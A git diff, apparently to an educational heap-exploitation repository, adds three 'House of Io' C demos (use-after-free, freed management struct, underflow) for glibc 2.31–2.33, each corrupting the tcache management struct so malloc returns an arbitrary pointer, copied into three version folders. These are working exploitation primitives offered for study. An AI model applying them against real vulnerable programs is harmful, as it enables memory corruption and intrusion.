diff --git a/README.md b/README.md index f55a59e..05906e5 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,9 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | +| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.29 - 2.33 | | | +| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.29 - 2.33 | | | +| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.29 - 2.33 | | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). diff --git a/glibc_2.31/house_of_io_free.c b/glibc_2.31/house_of_io_free.c new file mode 100644 index 0000000..fc5f506 --- /dev/null +++ b/glibc_2.31/house_of_io_free.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant can be used when either the order of free's for a struct\n" + "with multiple pointers is incorrect or the second slot in a free'd\n" + "struct can be free'd again. This allows us to free the\n" + "`tcache_perthread_struct` and gain access to it, by allocating it\n" + "again. With access to the management struct we can insert a malicious\n" + "pointer into a tcache and allocate from that bucket to get the pointer\n" + "from malloc.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Now we simulate a wrongful order of free's which leads to freeing the\n" + "management struct. The first free puts the pointer to the tcache\n" + "struct into ptr->key, which also gets free'd afterwards.\n"); + free(ptr); + free(ptr->key); + + puts("With the management struct free'd we can allocate it again and get\n" + "access to it.\n"); + struct tcache_perthread_struct *management_struct = malloc(0x285); + + puts( + "Now that we have access to management struct, we first have to set the\n" + "count of the tcache bin, from which we want to allocate our target\n" + "chunk, to one.\n"); + management_struct->counts[0] = 1; + + puts( + "In the next step we insert the pointer to the global variable into the\n" + "tcache.\n"); + management_struct->entries[0] = (uint64_t)&global_var; + + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.31/house_of_io_uaf.c b/glibc_2.31/house_of_io_uaf.c new file mode 100644 index 0000000..88a8b9d --- /dev/null +++ b/glibc_2.31/house_of_io_uaf.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.31/house_of_io_underflow.c b/glibc_2.31/house_of_io_underflow.c new file mode 100644 index 0000000..e19afb9 --- /dev/null +++ b/glibc_2.31/house_of_io_underflow.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include + +// House of Io - Underflow Variant +// =============================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant only works if we can underflow an access on a heap chunk,\n" + "to get access to the management struct on the heap. We then overwrite\n" + "a pointer in a tcache bin to point to our target.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts( + "First we allocate a chunk on the heap. We will underflow an access to\n" + "this chunk. In this example the victim chunk comes directly after the\n" + "tcache management struct, but in theory it can be everywhere on the\n" + "heap, as the first allocation will always be the management chunk, and\n" + "we assume an arbitrary underflow.\n"); + uint64_t *victim_chunk = malloc(0x10); + + puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" + "their bins come later in the array and thus are closer to our victim\n" + "chunk.\n"); + uint64_t *free_chunk = malloc(0x390); + free(free_chunk); + + puts("Then we underflow the victim chunk to exactly where the bin to our\n" + "free'd chunk is and write our target address there.\n"); + *(victim_chunk - 10) = (uint64_t)&global_var; + + puts("If we now allocate the same size of the free'd chunk again, we get a\n" + "chunk located at our target.\n"); + uint64_t *evil_chunk = malloc(0x390); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/house_of_io_free.c b/glibc_2.32/house_of_io_free.c new file mode 100644 index 0000000..fc5f506 --- /dev/null +++ b/glibc_2.32/house_of_io_free.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant can be used when either the order of free's for a struct\n" + "with multiple pointers is incorrect or the second slot in a free'd\n" + "struct can be free'd again. This allows us to free the\n" + "`tcache_perthread_struct` and gain access to it, by allocating it\n" + "again. With access to the management struct we can insert a malicious\n" + "pointer into a tcache and allocate from that bucket to get the pointer\n" + "from malloc.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Now we simulate a wrongful order of free's which leads to freeing the\n" + "management struct. The first free puts the pointer to the tcache\n" + "struct into ptr->key, which also gets free'd afterwards.\n"); + free(ptr); + free(ptr->key); + + puts("With the management struct free'd we can allocate it again and get\n" + "access to it.\n"); + struct tcache_perthread_struct *management_struct = malloc(0x285); + + puts( + "Now that we have access to management struct, we first have to set the\n" + "count of the tcache bin, from which we want to allocate our target\n" + "chunk, to one.\n"); + management_struct->counts[0] = 1; + + puts( + "In the next step we insert the pointer to the global variable into the\n" + "tcache.\n"); + management_struct->entries[0] = (uint64_t)&global_var; + + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/house_of_io_uaf.c b/glibc_2.32/house_of_io_uaf.c new file mode 100644 index 0000000..88a8b9d --- /dev/null +++ b/glibc_2.32/house_of_io_uaf.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.32/house_of_io_underflow.c b/glibc_2.32/house_of_io_underflow.c new file mode 100644 index 0000000..e19afb9 --- /dev/null +++ b/glibc_2.32/house_of_io_underflow.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include + +// House of Io - Underflow Variant +// =============================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant only works if we can underflow an access on a heap chunk,\n" + "to get access to the management struct on the heap. We then overwrite\n" + "a pointer in a tcache bin to point to our target.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts( + "First we allocate a chunk on the heap. We will underflow an access to\n" + "this chunk. In this example the victim chunk comes directly after the\n" + "tcache management struct, but in theory it can be everywhere on the\n" + "heap, as the first allocation will always be the management chunk, and\n" + "we assume an arbitrary underflow.\n"); + uint64_t *victim_chunk = malloc(0x10); + + puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" + "their bins come later in the array and thus are closer to our victim\n" + "chunk.\n"); + uint64_t *free_chunk = malloc(0x390); + free(free_chunk); + + puts("Then we underflow the victim chunk to exactly where the bin to our\n" + "free'd chunk is and write our target address there.\n"); + *(victim_chunk - 10) = (uint64_t)&global_var; + + puts("If we now allocate the same size of the free'd chunk again, we get a\n" + "chunk located at our target.\n"); + uint64_t *evil_chunk = malloc(0x390); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/house_of_io_free.c b/glibc_2.33/house_of_io_free.c new file mode 100644 index 0000000..fc5f506 --- /dev/null +++ b/glibc_2.33/house_of_io_free.c @@ -0,0 +1,93 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant can be used when either the order of free's for a struct\n" + "with multiple pointers is incorrect or the second slot in a free'd\n" + "struct can be free'd again. This allows us to free the\n" + "`tcache_perthread_struct` and gain access to it, by allocating it\n" + "again. With access to the management struct we can insert a malicious\n" + "pointer into a tcache and allocate from that bucket to get the pointer\n" + "from malloc.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Now we simulate a wrongful order of free's which leads to freeing the\n" + "management struct. The first free puts the pointer to the tcache\n" + "struct into ptr->key, which also gets free'd afterwards.\n"); + free(ptr); + free(ptr->key); + + puts("With the management struct free'd we can allocate it again and get\n" + "access to it.\n"); + struct tcache_perthread_struct *management_struct = malloc(0x285); + + puts( + "Now that we have access to management struct, we first have to set the\n" + "count of the tcache bin, from which we want to allocate our target\n" + "chunk, to one.\n"); + management_struct->counts[0] = 1; + + puts( + "In the next step we insert the pointer to the global variable into the\n" + "tcache.\n"); + management_struct->entries[0] = (uint64_t)&global_var; + + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/house_of_io_uaf.c b/glibc_2.33/house_of_io_uaf.c new file mode 100644 index 0000000..88a8b9d --- /dev/null +++ b/glibc_2.33/house_of_io_uaf.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include + +// House of Io - Use after free Variant +// ==================================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct overlay { + uint64_t *next; + uint64_t *key; +}; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant is the use-after-free variant and can be used, if the\n" + "free'd struct has a pointer at offset +0x08, which can be read from\n" + "and written to. This pointer will be the tcache->key entry of the\n" + "free'd chunk, which contains a pointer to the tcache management\n" + "struct. If we use that pointer we can manipulate the tcache management\n" + "struct into returning an arbitrary pointer.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts("First we have to allocate a struct, that has a pointer at offset\n" + "+0x08.\n"); + struct overlay *ptr = malloc(sizeof(struct overlay)); + + ptr->next = malloc(0x10); + ptr->key = malloc(0x10); + + puts("Then we immedietly free that struct to get a pointer to the tcache\n" + "management struct.\n"); + free(ptr); + + printf("The tcache struct is located at %p.\n\n", ptr->key); + struct tcache_perthread_struct *management_struct = + (struct tcache_perthread_struct *)ptr->key; + + puts( + "Now that we have a pointer to the management struct we can manipulate\n" + "its values. First we potentially have to increase the counter of the\n" + "first bin by to a number higher than zero, to make the tcache think we\n" + "free'd at least one chunk. In our case this is not necesarry because\n" + "the `overlay` struct fits in the first bin and we have free'd that\n" + "already. The firest member of the tcache_perthread_struct is the array\n" + "of counters. So by overwriting the first element of our pointer we set\n" + "the correct value in the array.\n"); + management_struct->counts[0] = 1; + + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" + "[ %p ]. This is the same as the free'd overlay struct which we\n" + "created at the start [ %p == %p ].\n\n", + management_struct->entries[0], management_struct->entries[0], ptr); + management_struct->entries[0] = (uint64_t)&global_var; + printf( + "After the write we have placed a pointer to the global variable into\n" + "the tcache [ %p ].\n\n", + management_struct->entries[0]); + + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" + "to our target location.\n"); + uint64_t *evil_chunk = malloc(0x10); + + assert(evil_chunk == &global_var); + return 0; +} diff --git a/glibc_2.33/house_of_io_underflow.c b/glibc_2.33/house_of_io_underflow.c new file mode 100644 index 0000000..e19afb9 --- /dev/null +++ b/glibc_2.33/house_of_io_underflow.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include + +// House of Io - Underflow Variant +// =============================== +// +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ +// +// Tested on libc versions 2.31, 2.32 and 2.33. +// +// House of Io makes use of the fact, that when freeing a chunk into the tcache +// the chunk will receive a pointer to the tcache management struct which has +// been allocated beforehand. This pointer is the tcache->key entry of a free'd +// tcache chunk. There are three different versions of this attack and all work +// even with safe-link enabled, as the tcache-key pointer, and more importantly +// the pointers in the tcache_perthread_struct, are not protected. + +unsigned long global_var = 1; + +struct tcache_perthread_struct { + uint16_t counts[64]; + uint64_t entries[64]; +}; + +int main() { + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" + "gets a pointer to the tcache management struct inserted at the\n" + "second slot.\n"); + + puts( + "This variant only works if we can underflow an access on a heap chunk,\n" + "to get access to the management struct on the heap. We then overwrite\n" + "a pointer in a tcache bin to point to our target.\n"); + + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" + "us from malloc.\n\n", + &global_var); + + puts( + "First we allocate a chunk on the heap. We will underflow an access to\n" + "this chunk. In this example the victim chunk comes directly after the\n" + "tcache management struct, but in theory it can be everywhere on the\n" + "heap, as the first allocation will always be the management chunk, and\n" + "we assume an arbitrary underflow.\n"); + uint64_t *victim_chunk = malloc(0x10); + + puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n" + "their bins come later in the array and thus are closer to our victim\n" + "chunk.\n"); + uint64_t *free_chunk = malloc(0x390); + free(free_chunk); + + puts("Then we underflow the victim chunk to exactly where the bin to our\n" + "free'd chunk is and write our target address there.\n"); + *(victim_chunk - 10) = (uint64_t)&global_var; + + puts("If we now allocate the same size of the free'd chunk again, we get a\n" + "chunk located at our target.\n"); + uint64_t *evil_chunk = malloc(0x390); + + assert(evil_chunk == &global_var); + return 0; +}